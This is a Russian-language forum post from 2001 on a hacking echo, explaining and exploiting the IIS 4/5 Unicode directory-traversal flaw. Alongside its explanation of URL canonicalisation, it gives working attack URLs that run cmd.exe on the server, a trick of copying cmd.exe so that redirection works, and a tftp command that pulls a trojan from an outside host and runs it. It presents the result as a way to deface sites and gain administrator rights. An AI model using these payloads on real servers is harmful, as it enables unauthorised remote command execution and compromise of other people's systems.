|
ru.nethack
- RU.NETHACK -------------------------------------------------------------------
From : NiK 2:5020/968.79 19 Jan 2001 18:43:46
To : Sergei Kasaurov
Subject : CGI-дыра в IIS4
--------------------------------------------------------------------------------
СУММАРHАЯ ИHФОРМАЦИЯ ПО IIS UNICODE
Как уже было сказано, используя unicode представления для символов "/" и "\"
,можно удаленно исполнять команды на IIS 4.0 and 5.0.
"Сырой" (raw) unicode кодируется двумя байтами .
Стандарт UTF-8 основан на 7-8 битном стандарте ASCII , но с расширениями
unicode, таким образом файл в кодировке ASCII является соответсвенно и файлом в
UTF-8 (но не наоборот).
Простой запрос на просмотр директории типа http://ntserver/../ не даст
требуемого результата. Тем не менее парсер сервера, производя проверку строки с
запросом на специфические символы , упускает из виду их unicode представление.
Следовательно, запрос ../../../ с использованием Unicode будет работать ( если
указан какой-то конкретный файл). Важно отметить ,что уязвимости подвержены
сервера , использующие https. Для проверки системы используются следующие URL,
которые выполняют команду webdrive/winnt/system32/cmd.exe /c dir c:\ : (название
директории с правами на исполнение может быть заменено на /msadc, /scripts,
/Scripts, /cgi-bin и т.д.)
для английской версии IIS:
http://EnglishNTServerNameHere/
msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
соответсвенно китайской:
http://ChineseNTServerNameHere/
msadc/..%1c%0a../winnt/system32/cmd.exe?/c+dir+c:\
II. Об Unicode вообще
Unicode 2.0 допускает различные представления для каждого символа.Hапример все
возможные для "/" :
2f
c0 af
e0 80 af
f0 80 80 af
f8 80 80 80 af
fc 80 80 80 80 af
Корректно работающий unicode decoder должен фильтровать все эти значения.ПО
Microsoft поддерживает только 16-bit UCS2 вместо полноценного UCS4. Поэтому
имеется поддержка UTF8 только до 3 байт длиной (т.е. e080af,но не f08080af).Это
было протестировано на IIS4(для IIS5 это аналогично).Причем это работает как
для IE5.5 , так и для NC4.7 хотя NC6.0 имеет полную поддержку UTF8 (Т.е. в NC4
fc80808080af декодируется неправильно , а в NC6.0 уже правильно в символ '/')
III. Обработка строки URL.
Со строкой передаваемой браузеру происходит так называемая операция
"canonicalization" (термин введен Microsoft ).Это значит , что следующий URL
будет корректным:
nc www.networkice.com 80
GET /advice/nosuchdirectory/../default.htm HTTP/1.0
Окончательный URL , по которому IIS сделает выборку документа будет
http://www.networkice.com/advice/default.htm.Причина, использования здесь
netcat состоит в том,что перед отправкой серверу запроса, браузер также
производит операцию "canonicalization" над URL (результатом ее в данном случае
будет выход на один уровень вверх из директории /nosuchdirectory ).Интересно
отметить , что когда эту операцию производит Apache ,то он делает двойную
проверку на существование затребованной директории.
В приведенном примере несмотря на отсутствие поддиректории nosuchdirectory, IIS
все равно примет URL, в то время как Apache проверит ее наличие и выдаст ошибку
Not Found.Единственная причина, по которой IIS отвергнет URL (для этого
способа) - указанный путь в URL выходит из wwwroot.
Общую логику обработки строки сервером можно представить так:
foo(char *url) {
FILE *fp;
canonicalize(url);
fp = fopen(url,"r");
}
Функция canonicalization не понимает Unicode , но более низкоуровневые функции
OC понимают . Другими словами
http://www.networkice.com/advice/..rob../default.htm - корректный URL, который
после не изменится canonicalization обработки. Поскольку функция
canonicalization не понимает Unicode , то трактует его просто как
...rob...(т.е. не удаляет эту часть ). Если глубже рассмотреть проблему ,то
окажется , что эта ошибка выходит далеко за рамки продуктов Microsoft.
Результаты обработки URL функцией canonicalization , ПО высокого уровня (в
рассматриваемом примере - web сервер ) и более низкого ( функции файловой
системы уровня ОС) должны совпадать.
IV. Exploit
Hа первый взгляд экспройтить этот баг просто, но непосредсвенное использование
редиректов и пайпов (>|<) вызывает 500 server error, а без них нельзя
использовать стандартные NT-шные ftp or telnet ( ftp.exe < script ) ,а также
создавать файлы ( echo "blah blah" > filename).
cmd.exe....echo+hello+world+>>c:\\temp.txt
cmd.exe....echo+hello+world+%3e%3e+c:\\temp.txt
cmd.exe....echo+hello+world+\%3e+\%3e+c:\\temp.txt
cmd.exe....echo+hello+world+\/%3e+\/%3e+c:\\temp.txt ) -
всё это не работает!
Существует несколько способов решения этой проблемы:
a) Скопировать или переименовать cmd.exe в другой файл:
(1) копирование "..\..\winnt\system32\cmd.exe" в
"..\..\interpub\scripts\cmd1.exe"
http://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
copy+..\..\winnt\system32\cmd.exe+cmd1.exe
ответом IIS будет :
"CGI Error
The specified CGI application misbehaved by not
returning a complete set of HTTP headers.
The headers it did return are:
1 file(s) copied."
(2) исполнение команды ,использующей редирект "cmd1.exe /c echo abc >aaa & dir
& type aaa "
http://site/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?
/c+echo+abc+>aaa&dir&type+aaa
ответом IIS будет :
" Directory of c:\inetpub\scripts
10/25/2000 03:48p .
10/25/2000 03:48p ..
10/25/2000 03:51p 6 aaa
12/07/1999 05:00a 236,304 cmd1.exe
..
abc
б) Ограничения также можно обойти, используя tftp.exe ( идет вместе с NT and
win2k ) для выкачки trojan'a с какого-либо ftp сервера:
/[bin-dir]/<..%c0%af..>/winnt/system32/tftp.exe+
"-i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe
Замечание: часть строки URL <..%c0%af..> зависит от подмножества unicode
,использующееся данным IIS ,т.е. english/chineese/russian и т.д.
Следующий шаг - запуск трояна (ncx99.exe) :
/[bin-dir]/..%c0%af../winnt/system32/ncx99.exe
Замечание: Другое дело ,что если админ хоста уделил немного своего времени
обеспечению безопасности, то вряд ли после этого там остался tftp.exe, так как
security advisory по NT прямо указывают , что как правило, именно tftp
используется следующим после обнаружения дыр RDS/MDAC/RDO.
(теоретически можно использовать также rcp или samba, но практически
возможность их применения еще более маловероятна)
V. Проблема wwwroot
До некоторого момента предполагалось ,что уязвимы только те сервера , у которых
директория wwwroot на том же диске, что и системная директория NT.Если wwwroot
расположен на другом диске, то использование ,например ,scripts в качестве
католога с правами на выполнение не принесет результата.Решается эта проблема
использованием каталога msadc ,который обычно расположен на системном диске и
доступен через http.В этом случае wwwroot может быть расположен где угодно,но
сервер остается уязвимым:
$lynx -dump http://site/msadc/..%c0%af../..%c0%af
../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
Итог: анонимный удаленный пользователь IUSR_xxxxx может r/w/x файлы со своими
ограниченными правами, что может в основном использоваться для deface
сайта.Права же Administartor'a можно получить ,используя ,например , последний
local exploit от David'a Litchfield'a (Mnemonix).
C уважением, NiK.
... Welcome Girl to UnixNet
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
